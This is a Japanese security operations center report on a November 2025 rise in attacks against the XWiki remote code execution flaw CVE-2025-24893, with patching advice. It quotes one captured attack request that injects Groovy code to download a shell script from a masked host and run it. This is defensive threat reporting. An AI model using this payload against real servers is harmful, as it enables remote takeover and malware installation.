2025.12.11

2025年11月度 MBSD-SOCの検知傾向トピックス

監視

XWikiの脆弱性（CVE-2025-24893）を狙った攻撃

　今月は、オープンソースのナレッジ管理プラットフォームであるXWikiの脆弱性（CVE-2025-24893）を狙った攻撃が増加しました。攻撃者に悪用された場合、任意のコードを実行されてしまう恐れがあります。

　本脆弱性のCVSS v3.1値（脆弱性の深刻度）は、9.8（Critical）と評価されているため、影響対象の製品を使用されている場合は、早急に対策されることをお勧めします。なお、本脆弱性は10月30日に米国のサイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）が注意喚起を促しており、KEV（Known Exploited Vulnerabilities Catalog）に追加されております。

　下図は、本脆弱性を狙った攻撃の検知数推移です。今年2月に公開された脆弱性ですが、11月に攻撃が急増しました。

図. CVE-2025-24893の脆弱性を狙った攻撃数推移（2025年11月）

　以下は、弊社SOCで検知した攻撃例です。外部から不正なシェルスクリプトをダウンロードして実行を試みた通信となっています。

図. CVE-2025-24893の脆弱性を狙った攻撃例
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}['sh', '-c', '(wget -qO- http://xx.xx.xx.xx/rondo.sdu.sh\|\|busybox wget -qO- http://xx.xx.xx.xx/rondo.sdu.sh\|\|curl -s http://xx.xx.xx.xx/rondo.sdu.sh)\|sh'].execute().text{{/groovy}}{{/async}} HTTP/1.1 Host: xx.xx.xx.xx User-Agent: Mozilla/5.0 (rondo2012@atomicmail.io) Connection: close Accept: /

　下表は、本脆弱性を狙った攻撃元国です。オランダとアメリカからの攻撃を多数観測しています。